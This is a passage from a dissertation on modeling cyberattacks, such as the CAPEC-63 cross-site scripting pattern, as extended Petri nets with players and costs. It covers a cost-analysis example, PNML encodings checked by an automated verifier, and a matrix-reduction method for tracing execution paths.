Transition enabled – does not fire

cT16

cT6

1(a)

Transition enabled – does not fire

cT16

cT15

Cost

Transition enabled – fires (token placed in cP7)
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1(a)

Table 4.13 displays the costs associated with the actions in the Exploit
phase. The attacker has five methods to exploit the system and the possibility of
failure. Those five methods are (1) to load the victim’s browser with malicious
scripts and send document information to the attacker (cT2), (2) to cause the
browser to take an attacker’s commands (cT5), (3) to load the user’s browser with
malicious scripts to perform specific actions(cT8), (4) to load the user’s browser
with malicious scripts to execute requests to other websites (cT11), (5) and to load
malicious scripts on the user’s browser to expose invalid information to the user
(cT14). Based on the transition rates the attacker attempts to load the victim’s
browser with scripts to expose invalid information to the user (cT14), with a cost
of 1 for the attacker. The next enabled transitions correspond to the attacker
being either successful or unsuccessful, and the possibility of the defender gaining
knowledge of the attack. In this example, the defender gains knowledge of the
attack. A token is stored in place cP23 to track that the knowledge was obtained,
and tokens are placed in cP16 and cP17 to indicate a successful or unsuccessful
attack respectively. The cost for the defender gaining this knowledge is 2. With a
token placed back in cP15, where the attacker attempting to load the user’s
browser with scripts to provide him/her with invalid information, transition cT16
fires and a token is placed in cP17. Marked place cP17 indicates an unsuccessful
attack and another token in place cP1 will enable the attacker to attempt a
different method in the Exploit phase. This time, instead of five attackers-
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controllable enabled transitions, there are only four because he/she cannot attempt
to use browser scripts again after having failed at that method. The next enabled
transition that fires next is cT5, which represents the attacker trying to cause the
browser to accept commands. Once again, with this method, the attacker will
either succeed or fail, and the defender will have the ability to gain knowledge of
the attack. Based on the transitions’ rates, the attacker succeeds in this attempt
(cT6). A token is placed in cP7 to document the success of the exploit attempt,
and one token is put into place cP4 to allow the attacker to continue to the Goals
phase of the attack.
Once the attacker is successful in the Exploit phase, he/she can move
forward to the Goals phase. The costs associated with the Goals phase are given
in Table 4.14.
With Cross-Site Scripting, the attacker has four different goals: (1) to read
application data, (2) to modify application data, (3) to execute unauthorized code,
and (4) to gain privileges to the system. Based on the enabled transitions the
attacker may try to achieve his/her goal by modifying application data (dT16),
executing unauthorized code (dT15), reading application information (dT2), or
gaining privileges to the system (dT6).
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Table 4.14: Cost Analysis of the Goals Phase of PNPSC for CAPEC-63
Time

Transition

Rate

Action & Result

15

dT1

3

Transition enabled – fires

16

dT6

4

Transition enabled – does not fire

dT15

9

Transition enabled – fires

dT16

1

Transition enabled – does not fire

dT2

2

Transition enabled – does not fire

17

dT7

6

Transitions enabled – fires

18

dT8

1

Transition not enabled

dT3

9

Transition not enabled

dT14

1

Transition not enabled

dT9

3(cP16 +2)

Transition enabled – does not fire

dT10

3

Transition enabled – does not fire

dT11

6

Transition not enabled

dT12

4

Transition enabled – fires

dT13

3

Transition enabled – does not fire

Based on the transitions’ firing rates, in this example, the attacker will
attempt to execute unauthorized code. Marked place dP12 shows that the
execution goal is being attempted and a second token moves to place dP7 when
dT7 fires. There are eight transitions, but not all of them are enabled. Four of
the transitions correspond to the attacker failing at his/her selected goal; these
transitions require two marked places to fire. In this example where the attacker
is attempting to execute unauthorized code, the enabled transitions are dT14,
which is the failure to execute unauthorized code, attacker reaching the goal
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Cost

2(a)

(dT9), defender monitoring the attack (dT10), defender actively blocking the
attack (dT11), or the defender passively blocking the attack (dT12). With a firing
rate of 4, transition dT12 fires, representing the defender passively blocking the
attacker from completing his/her attack.
In a final analysis of the cost of this attack, with the rates that were
established for this example, the attacker had a cost of 7 while the defender had a
cost of 4 units.
4.5 Summary
In summary, Chapter 4 describes the five interrelated research projects
that together form an integrated research program in cyberattack modeling. The
PNPS formalism was further extended to add a representation of the relative cost
of the actions taken by the competitors and to resolve some ambiguities in its
original definition.

Because resources are required to fulfill tasks and attackers

and defenders must have them available, the PNPSC nets were designed to keep
track of these resources by analyzing the cost associated with the actions that the
defender and/or attacker take during an attack. Lastly, an extended example of
PNPSC net execution sequence illustrating the calculation of costs was provided,
using a PNPSC for CAPEC-63: Cross-Site Scripting.
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CHAPTER V

VERIFICATION BY DIRECT COMPARISON

5.1 Introduction
[Whitaker, 2019] describes an application that translates XML encoded
CAPEC attack patterns into executable PNPSC nets for research in simulation and
machine learning. That application is a result of the project documented in
Section 4.3.1. Those executable models are asserted to comply with the PNPSC
formalism. This chapter describes a verification method developed as part of this
research: the automatic analysis of the executable PNPSC nets to assess
compliance with the PNPSC formalism [Showers, 2019].
5.2 Petri Net Markup Language
The executable PNPSC nets are encoded in a language called the Petri Net
Markup Language (PNML), an XML-based language for the specification of Petri
nets. PNML was developed to serve as a structure to facilitate interoperable Petri
net modeling and analysis. PNML was developed during a workshop in 2000 to
"foster the definition of a standard transfer format for Petri nets" [Hillah, 2009].
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In 2015, PNML was adopted as International Standard ISO/IEC 15909-2. Several
tools support PNML including the following [PNML.org, 2015]:
•
•
•
•
•
•

ePNK: Eclipse-based Petri Net Kernel
OWLS2PNML: Translator from OWL-S web service descriptions to Petri
nets
PNML Framework: Implementation of ISO/IEC-15909, International
Standard on Petri Nets
Tina: TIme petri Net Analyzer, a toolbox for the editing and analysis of
Petri Nets
Wolfgang: Tool to create and edit Petri nets
PIPE: A tool for creating and analyzing Petri nets
The PNML Core Model supports the formalisms High-Level Petri Net

Graphs, Symmetric Nets, and Place-Transition Nets. PNPSC extends the PlaceTransition Net formalism. The formal definition of Place-Transition Nets
complies with the definition of the standard Petri net given in [Reisig, 2013]. The
native PNML Core Model provides support for the PNPSC attributes common to
the standard Petri net, namely 𝑃, 𝑇, 𝑊, 𝐵, 𝑀0 , and 𝐿.
PNML supports tags that make it possible to enrich the graphical
representation of a Petri net model significantly. In PNML, the tags related to the
graphical representation of the Petri nets are called "attributes". Common Petri net
structural traits like arc weights, bounds on the number of tokens marking a place,
inhibitor arcs, etc. are also supported. These traits are expressed in PNML as
"annotations".
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However, there are many features necessary to encode PNPSC nets that
are not supported by the PNML Core Model. The PNPSC features not supported
by PNML include
•
•
•
•
•

Players
Player observable places
Player controllable transitions
Player strategies
Costs
The PNML specification does support "tool-specific" information that

facilitates simulation using extended annotations. Simulation programs that do not
support the tool-specific information should ignore them and function as if they
do not exist [Hillah, 2009].
5.3 PNML Extensions
Although PNML does not support players, or distinguish player actions,
the tool-specific capabilities of PNML provide for the standard-compliant
implementation of these constructs.
5.3.1

Place, Arc, and Transition Encodings
In PNML, places, arcs, and transitions are encoded using series of XML

tags enclosed by <place>…</place >, <arc>…</arc >, and
<transition>…</transition> respectively.
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Places have tags to represent annotations that include standard Petri net
attributes such as bounds, initial markings, and place names. PNML does not
include tags to classify places as observable by a player or players. Figure 5.1
depicts an XML listing for a place in an auto-generated PNPSC net, as discussed
in Subsection 4.3.1.
In Figure 5.1, note that there are several "graphics" tags. These tags are
PNML attributes that modify the graphical representation of the net. In similar
figures in this chapter, e.g., Figure 5.2, the graphics attributes have been omitted.

<place id="aP0_n">
<graphics>
<position x="580" y="310"/>
</graphics>
<name>
<value>aP0_n</value>
<graphics>
<offset x="0" y="0"/>
</graphics>
</name>
<initialMarking>
<value>Default,0</value>
<graphics>
<offset x="0.0" y="0.0"/>
</graphics>
</initialMarking>
<capacity>
<value>1</value>
</capacity>
<observable>
<value>non-player</value>
</observable>
</place>

Figure 5.1: PNML Encoding for PNPSC Net Place
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From this XML listing, note that the name of the specified place is aP0_n,
the initial marking is zero, and the capacity, or bound, is one. The PNML standard
specifically states that a place without a specified bound has a bound of one.
Note further that there is a place tag labeled "observable". This tag is not
part of the PNML standard. Designating a place "observable" by a player means
that the player has knowledge of the marking of that place, and that information
can be used by the player to make decisions regarding transition rate updates. The
decisions being made are examined in Subsection 5.3.3.
There are PNML tags that specify arc annotations also. Figure 5.2 depicts
annotations related to a PNPSC arc. In Figure 5.2, note the tag labeled
"inscription". Inscription denotes the arc weight. The PNML standard specifically
states that an arc without a specified weight has a weight of one. Also, note the
source and target elements of the arc tag.

<arc id="aP1_0_ttoaT1_0" source="aP1_0_t" target="aT1_0">
<inscription>
<value>Default,1</value>
</inscription>
</arc>

Figure 5.2: PNML Encoding for PNPSC Net Arc
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<transition id="aT1_0">
<name>
<value>aT1_0</value>
</name>
<rate>
<value>1</value>
</rate>
<timed>
<value>true</value>
</timed>
<controllable>
<value>non-player</value>
</controllable>
</transition>

Figure 5.3: PNML Encoding for PNPSC Net Non-player Controllable Transition
PNML includes tags to annotate transitions. These tags include tags to
specify the rates which may be variable depending on the marking, but this is
specific to platform implementation. Figure 5.3 depicts an XML listing for a
transition in an auto-generated PNPSC net.
In Figure 5.3, note that tags for the transition name and rate are present.
The rate is constant in Figure 5.3. Constant transition rates are the only supported
method that meets the PNML standard. This constant rate value for a non-player
controlled transition demonstrates a method of satisfying the PNPSC requirement
for function 𝐹. In this example, the transition is timed. The PNML Core Model
supports timed and stochastic transitions.
Note further that the XML code in Figure 5.3 for transition aT1_0 includes
a tag "controllable" with the value "non-player". This tag specifies that the
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transition is non-player controllable. Transition aT1_0 might also be player
controllable in which case this tag would contain the name of a player.
5.3.2

Players in PNML
In Figure 5.1, there is a tag for an observable place, and in Figure 5.3,

there is a tag for a controllable transition. In general, the values of these tags
represent the players that can observe places and control transitions, as well as
places not observable by any player, and transitions not controllable by any
player. Evaluation of these tags facilitates the assessment of 𝐺, 𝛩, and 𝑂, from the
PNPSC formalism.
Figure 5.4 contains a tag for a transition that is player controllable. Tags
specifying places that are player observable are similar in construction. Note that
the rate for the transition illustrated in Figure 5.4 is constant.
<transition id="aT3_0">
<name>
<value>aT3_0</value>
</name>
<rate>
<value>1</value>
</rate>
<timed>
<value>true</value>
</timed>
<controllable>
<value>defender</value>
</controllable>
</transition>

Figure 5.4: PNML Encoding for PNPSC Net Player Controllable Transition
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5.3.3

Transition Rate Calculations
In this subsection, the relationship between player observable places and

player controllable transitions is examined.
PNML has no direct method of specifying a rate calculation. PNML does
support the use of variables that are updated at simulation run time to establish
rates.
A Petri net simulation platform called Platform Independent Petri net
Editor (PIPE) provides a method to calculate run time values that uses an equation
parser and a set of basic mathematical functions, including a maximum value
selector. This method has been adopted as one of the PNML extensions in use in
this research program. The markings of places in the net at the time of execution
can alter the value returned by the max function. Figure 5.5 is a segment of a
PIPE Petri net specification document. Reiterating, PIPE extends the PNML
standard, and rate calculations are one extension [Tattersall, 2014].
<rate>
<value>
max(0.1@ #(aP2_0_t) * 0.5325 + #(aP7_1_t) * 0.1338 + #(aP12_2_t) * 0.2936)
</value>
</rate>

Figure 5.5: PNPSC Transition Rate Calculation
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In Figure 5.5, the PIPE max function is used to choose the maximum
value from among two: 0.1 and #(aP2_0_t) * 0.5325 + #(aP7_1_t) * 0.1338 +
#(aP12_2_t) * 0.2936. In PNML, the "@" separating these values in the max
formula corresponds to a comma. The comma is a special character in XML and
represented by the "@".
The expression #(aP2_0_t) represents the number of tokens marking place
aP2_0_t. The "*" represents multiplication by the corresponding constant. In
summary, the max formula in this example evaluates to 0.1 whenever none of the
specified places are marked. The value will be greater than 0.1 if any of those
places are marked.
Because the place markings are bounded for all places, the use of the max
function further establishes that there are maximum firing rates for all transitions,
and thereby facilitates a verification method for the PNPSC function Ω, initial and
maximum firing rates for transitions.
Note that this mechanism indirectly specifies a mapping from markings to
firing rates. A subset of place markings in a PNPSC net is observable by each
player. This mapping facilitates a verification method for the definition of the
PNPSC function Γ, player strategies.
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5.4 Verification Process and Findings
To assess compliance with the PNPSC formalism, an automated verifier
was written in Python. The verifier takes as input the auto-generated PNML. The
verification process parses the PNPSC net and confirms the presence of tags
necessary to support the PNPSC formalism. Other methods of comparison include
set membership and string comparison.
Appendix C contains a partial listing of the verifier output for the autogenerated XML modeling CAPEC 63 Cross-Site Scripting (XSS) [MITRE
Corporation, 2020a]. The player strategy tables representing Γ in Appendix C
illustrate that the places marked in previous phases are used to support rate
calculations. Furthermore, the rate calculations are based on player observations
by the controlling player.
To confirm that the verifier would find PNML that did not comply with
the PNPSC formalism, instances of non-compliant PNML were introduced into
the models, and tests were run. Table 5.1 summarizes the tests that were run to
verify the verification code.
The verifier determined that the auto-generated PNPSC nets complied
with the PNPSC formalism for the following properties: 𝑃, 𝑇,𝑊,𝑀0 , 𝐵, 𝐿, 𝐺,Θ,
𝑂, 𝐹, Ω, and Γ. At present, there is no way in the proposed XML models to
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specify the PNPSC elements 𝐶, the costs of firing and updating transitions, and 𝐷,
the assignment of those costs to players.
Table 5.1: PNPSC Formalism Elements Verified
Formalism element
𝑃 = {𝑝1 , 𝑝2 , … 𝑝𝑛 }; finite, non-empty set of places
𝑇 = {𝑡1 , 𝑡2 , … 𝑡𝑚 }; finite, non-empty set of transitions
𝑊 = (𝑃 × 𝑇) ∪ (𝑇 × 𝑃); set of arcs from places to transitions and
from transitions to places
𝐵: 𝑃 → 𝑍 + ∪ ∞; upper bound on tokens per place
𝑀0 : 𝑃 → 𝑍 + ∪ {0}; initial marking of tokens in places, with
𝐿 = 𝑊 → 𝑍 + ∪ {−1}; arc weights for the arcs in 𝑊
𝐺 = {𝑔1 , 𝑔2 , … } is a finite, non-empty set of players
θ = {𝑇0 , 𝑇1 , … , 𝑇|𝐺| } is a partition of the transition set 𝑇 into |𝐺| + 1
subsets such that θ = 𝑇0 ⋃𝑇1 ⋃𝑇2 … ⋃𝑇|𝐺| and 𝑇𝑖 ∩ 𝑇𝑗 =⊘ for 0 ≤
𝑖, 𝑗 ≤ |𝐺| and 𝑖 ≠ 𝑗; 𝑇𝑖 ≡ set of transitions controlled by player 𝑔𝑖 for
1 ≤ 𝑖 ≤ |𝐺| and 𝑇0 ≡ the set of transitions not controlled by any player
𝑂 = {𝑂1 , 𝑂2 , … 𝑂|𝐺| } with ∅ ⊊ 𝑂𝑖 ⊆ 𝑃 is the set of observable places
for player 𝑝𝑖 .
𝐹: 𝑇∅ → ℝ+ ; fixed firing rates for non-player controlled transitions
Ω: (𝑇 − 𝑇0 ) → (ℝ+ × ℝ+ ); initial and maximum rates for playercontrolled transitions
Γ: (Γ1 , Γ2 , … , Γ|𝐺| ); a collection of functions Γ𝑖 : 𝑀𝑂∗ 𝑖 → ℝ+|𝑇𝑖| where Γ𝑖 is
a mapping from possible markings of player 𝑔𝑖 's observable places to
the desired firing rates for each of player 𝑔𝑖 's controlled transitions
𝐶 = (𝐶𝑓𝑖𝑟𝑒 , 𝐶𝑐ℎ𝑎𝑛𝑔𝑒 ); where 𝐶𝑓𝑖𝑟𝑒 : (𝑇 → ℝ+ ) is the cost for firing a
transition and 𝐶𝑐ℎ𝑎𝑛𝑔𝑒 : (𝑇 × ℝ+ ) → ℝ+ is the cost for changing the
rate of a transition by δ ∈ ℝ+
𝐷: 𝑇 → ℘(𝐺); players that incur a cost for a fired or changed
transition
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Verification


, confirms the existence
of arcs and that they are
place to transition or
transition to place




, confirms that θ is a
partition of 𝑇






, it has not been
determined how 𝐶 should be
expressed in the PNML
representation of PNPSC
nets
, it has not been
determined how 𝐷 should
be expressed in the PNML
representation of PNPSC
nets

5.5 Summary
The auto-generated PNML representations of PNPSC nets produced by
the process described in [Whitaker, 2019] required updates or additions in order
to support PNPSC. The updates added tags to the auto-generated XML to partially
conform to the PNPSC formalism. While PNML allows for "tool-specific"
implementations, PNML was not designed to model competitive games, including
players, strategies, and costs, as specified in PNPSC. The auto-generated PNPSC
nets, including the extensions, were verified by an automatic verifier developed
for that purpose as part of this research. The verifier assesses compliance with the
PNPSC formalism, and the requirements specified in Appendix A PNPSC Net
Auto-Generation Requirements.
Costs and assignment of those costs to players must be resolved before the
auto-generated PNPSC nets can be declared compliant with the PNPSC
formalism.
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CHAPTER VI

MATRIX REDUCTION VERIFICATION OF AUTO-GENERATED
EXECUTABLE NETS

6.1 Introduction
In this chapter, the autogenerated PNPSC nets described in Chapter 5 are
verified using a semi-formal method based on reducing the incidence matrix of
the PNPSC net [Cantrell, 2020]. The verification process begins by automatically
decomposing the generated PNPSC nets into PNPSC net segments each
comprised of distinct, non-overlapping CAPEC attack pattern phases. The process
continues with automatic matrix verification, segment by segment. The output of
each segment verification includes all paths that can be completed by executing a
sequence of enabled transitions within that segment, as well as the markings that
would result from the execution of those paths.
When the models are sufficiently complex to represent realistic computer
systems, manual verification methods can be impractical and error-prone.
Therefore, finding appropriate methods of automated model verification is vital.
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In this chapter, the verification of auto-generated, executable PNPSC nets
models is considered. These executable models are manifestations of cyberattack
models, used to simulate attack and defense strategies.
6.1.1

Autogenerated Executable Models
The CAPEC attack patterns are divided into phases, each of which must

be completed to realize the nefarious goals of the cyberattack. The automatically
generated PNPSC nets are executable representations of related CAPEC attack
pattern definitions.
[Zhovtobryukh, 2007] reports investigations into an extension of Petri nets
called service nets. Service nets are similar to standard Petri nets except that
service nets have an input place 𝑖 and an output place 𝑜. In a service net, the input
place is the only place that is initially marked, and the output place is marked if
the execution of the net completes. The application examined by Zhovtobryukh
was a composition of web services to form a more elaborate service. The CAPEC
attack patterns can be modeled as compositions of service nets15, each
representing a phase of the attack pattern.

15

In [Zhovtobryukh, 2007], several models for service net composition are
explored. Although other models from this formalism could be applied to the
auto-generated PNPSC nets that are the subject of this effort, the only
composition operator used in this work is the sequence operator, which means
that one service completes and then another begins.
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The phases of a CAPEC attack pattern are made up of some subset of
Prerequisites, Explore, Experiment, Exploit, and Consequences or goals. In the
executable models that are being assessed in this research, each decomposed
phase of the CAPEC attack pattern can be modeled as a service net. An example
PNPSC net representing CAPEC-63 Cross-Site Scripting (XSS) is discussed in
Section 4.4, including the sequence of phases.
The executable models being verified here are modeled in an extension of
XML known as PNML, with additional extensions in support of modeling
PNPSC. PNML and the PNPSC extensions were discussed in Chapter 5.
6.1.2

Matrix Reduction
In Subsection 3.1.1.2, the matrix representation of a Petri net is discussed.

The matrix 𝐴 = [𝑎𝑖,𝑗 ], called the incidence matrix of a Petri net, is the 𝑚 × 𝑛
matrix where 𝑎𝑖,𝑗 is the sum of the number of tokens entering and leaving place 𝑗
on the execution of transition 𝑖 [Reisig, 2013] [Murata, 1989].
The incidence matrix and predicate calculus are used in the verification
method proposed in [Lin, 1993]. In the incidence matrix of a Petri net, when two
rows representing transitions can be added together so that the markings of a
place sum to zero, these transitions can be joined into a path of enabled
transitions. Consider the Petri net and related incidence matrix in Figure 6.1.
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p1 p2 p3
t1 -1 1 0
t2 0 -1 1
Figure 6.1: Petri Net and Incidence Matrix
In Figure 6.1, note that if the rows of the incidence matrix are added, the
column corresponding to p1 is -1. This implies that place p1 must be marked for
transitions t1+t2 to execute. The sum of the entries in the column p2 being zero
shows that the execution of those transitions can be combined. Places p2 and p3
will be marked 0 and 1 respectively, meaning that this will be the resulting
marking for these places.
6.2 PNPSC Executable Model Verification
The purpose of the analysis described in this section is to assess whether
the auto-generated PNPSC nets meet model specifications outlined in Appendix
A. Those executable models are developed to model cyberattacks with specific
actions taken by attackers and defenders to reach system states that represent their
achievement or failure to realize the Consequences of the related CAPEC attack
pattern definition. It is desirable to inspect the possible paths of execution which
represent the actions taken, and the markings which represent the resulting states
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of the system. Evaluating the paths of execution and markings that arise from the
execution of those paths, which is a verification of the model with respect to
Appendix A, is described in this chapter..
6.2.1

Auto-generated PNPSC Net Structure
In addition to the service net structures that result from the phases defined

in the CAPEC attack pattern definitions, there are structural features of the autogenerated PNPSC nets that make the use of the matrix reduction method
complicated.
Phases are separated in the auto-generated PNPSC nets by a sequence
similar to that depicted in Figure 6.2. For this analysis, the terms vertex and
vertices will mean instances of places or transitions in a PNPSC net. In Figure
6.2, the sequence of vertices is place-transition-place. The dashed lines in Figure
6.2 are intended to illustrate that there are one or more vertex segments connected
to these places, corresponding to the number of Techniques specified in the
related CAPEC attack pattern definition. The place and transition names and
labels have been omitted from Figure 6.2, but the transition label would be of the
form "Attacker moves to <experiment or exploit or goal> phase". The vertex
sequence illustrated in Figure 6.2 represents the boundary between phases of an
auto-generated PNPSC net.
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Figure 6.2: PNPSC Net Phase Vertex Sequence
The boundary transitions being sought are strongly connected components
in the PNPSC nets. The strongly connected components in a directed graph are
subgraphs where every vertex is reachable from every other vertex [Deo, 1974].
Tarjan’s Algorithm can be used to find the strongly connected components. Four
more tests are required from the resulting strongly connected components to find
the correct boundary transitions: the vertex should be a transition, the cardinality
of the set of vertices in the strongly connected components should be one, the
cardinality of the preset and postset of the boundary transition should also be one,
and the places in the transition preset should not be in a loop16.
6.2.2

Matrix verification process

In summary, the process for this automated verification effort is documented by
the pseudocode in Figure 6.3. Figure 6.3 begins in function Matrix_verifier by
reading and parsing the PNML that is the executable model. As the PNML is
parsed, the places, transitions, arcs, and related PNML annotations are assembled
in data structures for processing. Processing continues by breaking the PNML into

16

A loop is illustrated in Figure 6.4 and discussed later in this section.
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service nets representing phases, as defined in the CAPEC attack pattern
definitions. The PNPSC net is broken into phases by removing each of the
Matrix_verifier(PNPSCnet)
places, transitions, arcs, neighbors ← Parse(PNPSCnet)
boundaries ← Tarjan(arcs, neighbors)
phases ← Get_phases(boundaries, neighbors)
for each phase in phases:
incidence, inhibitors, loops ← Build_incidence(places, arcs, transitions,
phase)
joins ← BFS(places, arcs, transitions, M0)
paths, markings ← Reduce(joins, incidence, inhibitors, loops)
end for
Reduce(joins, incidence, inhibitors, loops)
for each pair of transitions in joins
paths, markings ← Combine_transitions(t1, t2)
end for
while there are incomplete paths
for each incomplete path in paths
for each transition in incidence
if transition can be combined with path
paths, markings ← Combine_transitions(path, t)
end if
end for
end for
end while
return paths, markings
Figure 6.3: PNPSC Net Verification Pseudocode
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"boundary transitions" using Tarjan's Algorithm [Nuutila, 1994]. Tarjan's
Algorithm, along with the tests described in Subsection 6.2.1, combine to find the
boundary transitions of the auto-generated PNPSC nets by calling function Tarjan
in function Matrix_verifier in Figure 6.3.
Once the boundary transitions have been discovered, the verification
proceeds by partitioning the vertices by the PNPSC net phase with the function
call Get_phases. The vertex partitioning process commences by considering the
last phase in the sequence. Beginning with the last boundary transition, the
neighbors of each vertex are examined for vertices that have not already been
added to the phase currently being considered. The neighbors of a vertex are those
vertices that terminate an arc sourced from the vertex. This continues until all
neighbors in the final phase have been exhausted. The neighbors of a vertex are
discovered when the PNPSC net is parsed in Matrix_verifier. The next iteration of
phase selection begins by setting all vertices currently considered in phase to out
of scope as the process proceeds from Consequences phase, to Exploit, in reverse
order the all vertices have been places in the proper phase. After the phases have
been discovered, the algorithm proposed in [Lin, 1993] is implemented phase by
phase by the for loop represented in function Matrix_verifier.
Figure 6.4 is a PNPSC net segment representative of the Exploit phase
Technique "develop malicious JavaScript that is injected through vectors
identified during the Experiment Phase and loaded by the victim's browser and
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sends document information to the attacker" from CAPEC-63 Cross-Site
Scripting (XSS) [MITRE Corporation, 2020a].
The PNPSC net segment in Figure 6.4 is identical in structure to net
segments representing all Experiment and Exploit methods. Moreover, Figure 6.4
illustrates the main challenges of using the method of [Lin, 1993] to assess
PNPSC nets.

Figure 6.4: PNPSC net segment - CAPEC-63 Exploit Phase Technique
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The first challenge is illustrated by transition cT2_0 in Figure 6.4. cP1_0_t
is in both the preset and postset of transition cT2_0. The incidence matrix entry
representing transition cT2_0 and place cP1_0_t is zero, indicating that cT2_0
would never fire. CT2_0 can fire as many times are cP1_0_t is marked, an
arbitrarily large number of times. In model checking terminology, an integer that
can grow to become very large, representing a branch that can be executed an
arbitrary number of times, is called 𝜔. In this dissertation, these structures are
referred to as loops.
The second challenge is the inclusion of inhibitor arcs. There is no known
matrix representation of an inhibitor arc. In Figure 6.4, when transition cT1_0
fires, place cP2_0_2 is marked, inhibiting cT0_0 from firing again. This sequence
models the defender taking actions that block the attacker's attempts using the
method. Notably, cP0_p is also marked again, signifying that the attacker can
attempt other methods of attack.
Referring again to the function Matrix_verifier listed in Figure 6.3,
PNPSC net artifacts are loaded into data structures and passed to function
Build_incidence in function Matrix_verifier. The function Build_incidence creates
the incidence matrix. Data structures are also returned by Build_incidence
specifying the place-transition pairs that contain loops and place-transition pairs
where the marked place inhibits the related transition.
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Matrix_verifier then calls function BFS. Function BFS is a variation of
breadth-first search. In most versions of breadth-first search, an initial vertex and
a goal vertex are specified, and the algorithm proceeds to evaluate neighbors of
the current vertex until the goal is encountered. In the function BFS, the idea is to
find all paths that terminate the phase of a PNPSC net or encounter a node that
has already been evaluated. In the first case, the node represents an output place 𝑜
of a service net, or a place with no arc to another transition. In the second case,
the node already encountered represents a cycle in the PNPSC net, to be
distinguished from a loop. In the PNPSC nets modeling CAPEC attack patterns,
cycles may represent instances where an attacker decides to abandon one method
of attack in favor of another. The return value joins consists of a set of pairs of
transitions that can be joined together using matrix reduction to inspect paths of
executable transitions, using the method of Lin et. al.
Matrix_verifier calls function Reduce, also specified in Figure 6.3.
Function Reduce initially loops through the pairs of transitions found using
breadth-first search, yielding paths and markings of paths that either terminate the
phase or cycle back to a place previously encountered. Function Reduce continues
to evaluate partial paths with the incidence matrix to determine if any transitions
can be joined. This determination can be made by examining the marking of the
state of the PNPSC net after the partial path has been executed.

131

Transitions that are inhibited by the current marking are not joined to
partial paths. When loops are encountered, and the potential exists for markings to
include arbitrarily large values, this fact is noted.
Considering again the PNPSC net segment in Figure 6.4, Figure 6.5 is the
output from a run of the matrix verification function. In Figure 6.5, the place
ordering of the markings is (cP0_p, cP1_0_t, cP2_0_p, cP3_0_p, cP4_0_t, cP5_p,
cP6_p). The first line of Figure 6.5 corresponds to the firing of transition cT5. The
marking has cP0_p equal to -1. This means that the execution of this path
consumes a token from the input place, cP0_p. This is also true of the third and
fifth lines of the output. The marking of cP0_p in the second and fourth lines are
0. Note that both lines include execution of transition cT1_0. cT1_0 marks cP0_p
and inhibits cT0_0. Because this path leaves the input place cP0_p equal to 0, this
means that execution of this path will allow for the attacker to attempt other
methods of attack during the CAPEC exploit phase of the attack pattern.

cT5
cT0_0 + cT1_0
cT0_0 + cT3_0 + cT4
cT0_0 + cT2_0 + cT1_0
cT0_0 + cT2_0 + cT3_0 + cT4

(-1, 0, 0, 0, 0, 0, 1)
(0, 0, 1, 0, 0, 0, 0)
(-1, 0, 0, 0, 1, 0, 0)
(0, 0, 1, ω, 0, 0, 0)
(-1, 0, 0, ω, 1, 0, 0)

Figure 6.5: Matrix verification output - CAPEC-63 Exploit Phase Technique
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In the fourth and fifth lines of Figure 6.4, the marking of place cP3_0_p is
ω, symbolizing that this place can be marked an arbitrary number of times on this
path by the execution of the loop containing cT2_0. The third and fifth lines
terminate in the successful completion of the exploit phase by the attacker
symbolized by the execution of transition cT4. The first line terminates with the
attacker giving up. The second and fourth lines terminate with the input place
marked and the method blocked by the defender.
The structure of the PNPSC net segments modeling the Experiment and
Exploit phases is similar in structure to the PNPSC net segment examined in
Figures 6.4 and 6.5. These PNPSC net segments include both loops and inhibitor
arcs. The matrix verifier has also been tested on PNPSC net segments modeling
CAPEC Prerequisite, Explore, and Consequences phases with success. The
Prerequisite, Explore, and Consequences phase net segments include loops but no
inhibitor arcs.
In figure 6.6, we consider a single branch of the CAPEC Consequences
phase representing the method "Execute Unauthorized Commands". In the
PNPSC net segment in Figure 6.6, there are no inhibitor arcs, but loops occur
between place dP2_0_t and transition dT2_0, as well as place dP3_0_t and
transition dT7_0. The matrix reduction verifier output is listed in Figure 6.7.
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In Figure 6.7, place ordering of the markings is (dP0_p, dP1_0_p,
dP2_0_t, dP3_0_t, dP4_0_p, dP5_0_t, dP6_0_t, dP7_p). The PNPSC net
segment in Figure 6.6 demonstrates behavior similar to Figure 6.4 regarding the

Figure 6.6: PNPSC net segment – Execute Unauthorized Commands
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dT8

(-1, 0, 0, 0, 0, 0, 0, 1)

dT0_0 + dT4_0

(-1, 1, 0, 0, 0, 1, 0, 0)

dT0_0 + dT5_0

(-1, 1, 0, 0, 0, 0, 1, 0)

dT0_0 + dT2_0 + dT3_0

(-1, 1, 0, 0, 0, 1, 0, 0)

dT0_0 + dT1_0 +dT6_0

(0, 1, -1, 0, 0, 0, 0, 0)

dT0_0 + dT1_0 + dT7_0 + dT3_0 + dT6_0

(0, 1, -1, 0, 0, 1, 0, 0)

From dP2_0_t
dT4_0
dT5_0
dT1_0 + dT6_0
dT2_0 + dT3_0
dT1_0 + dT7_0 + dT3_0
dT6_0
dT7_0 + dT3_0

Figure 6.7: Matrix verification output - Execute Unauthorized Commands
input place dP0_p. When an executed path contains dT6_0, the place dP0_p is
zero, indicating that other methods may be attempted by the attacker.
Another distinguishing factor is the existence of partial paths resulting
from loops. Unlike the loops in earlier phases of this class of service nets, the
loops in the PNPSC net segment in Figure 6.5 can result in the execution of
additional paths that may do not immediately terminate in a place that can be
marked an arbitrary number of times. The loop structure demonstrated by place
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dP2_0_t and transition dT2_0 adds partial paths that may be executed creating
variants of the paths containing dT2_0.
The matrix reduction verification algorithm has been shown effective in
finding executable paths and resulting markings in PNPSC nets modeling CAPEC
attack patterns.
6.3 Summary
Reducing PNPSC nets into service nets reduces the size of the output and
makes interpretation more accessible, as well as reducing the verification run
time. Matrix reduction coupled with breadth-first search is powerful to evaluate
the structural properties of certain classes of extended Petri net segments. Note
that while PNPSC nets may also utilize properties and structures that were not
verified in this verification process, this method has been effective in establishing
paths of enabled transitions that may be traversed and the resulting markings. This
method of verification does not apply to all classes of PNPSC nets but is effective
at inspecting the auto-generated PNPSC nets used in this program.
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CHAPTER VII

STRUCTURED FACE VALIDATION OF EXTENDED PETRI NETS
FOR MODELING CYBERATTACKS17

7.1 Introduction
Chapter 7 documents the validation of a set of cyberattack models
developed by the cyber modeling research team at the University of Alabama in
Huntsville as a portion of the overall program of which this research is a part.
The purpose of Chapter 7 is to discuss a series of structured face validation
activities and the resulting analysis and conclusions of the validation process.
Note that structured face validation, while not as definitive as other
quantitative validation methods, can nevertheless be very effective at identifying
the “strengths and weaknesses” of models [Petty, 2010].

17

Some material in Chapter 7 has been adapted from [Cantrell, 2018], [Bland,
2018], and [Whitaker, 2019].
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7.2 Choice and Construction of Models
The following CAPEC attack pattern definitions were modeled as PNPSC
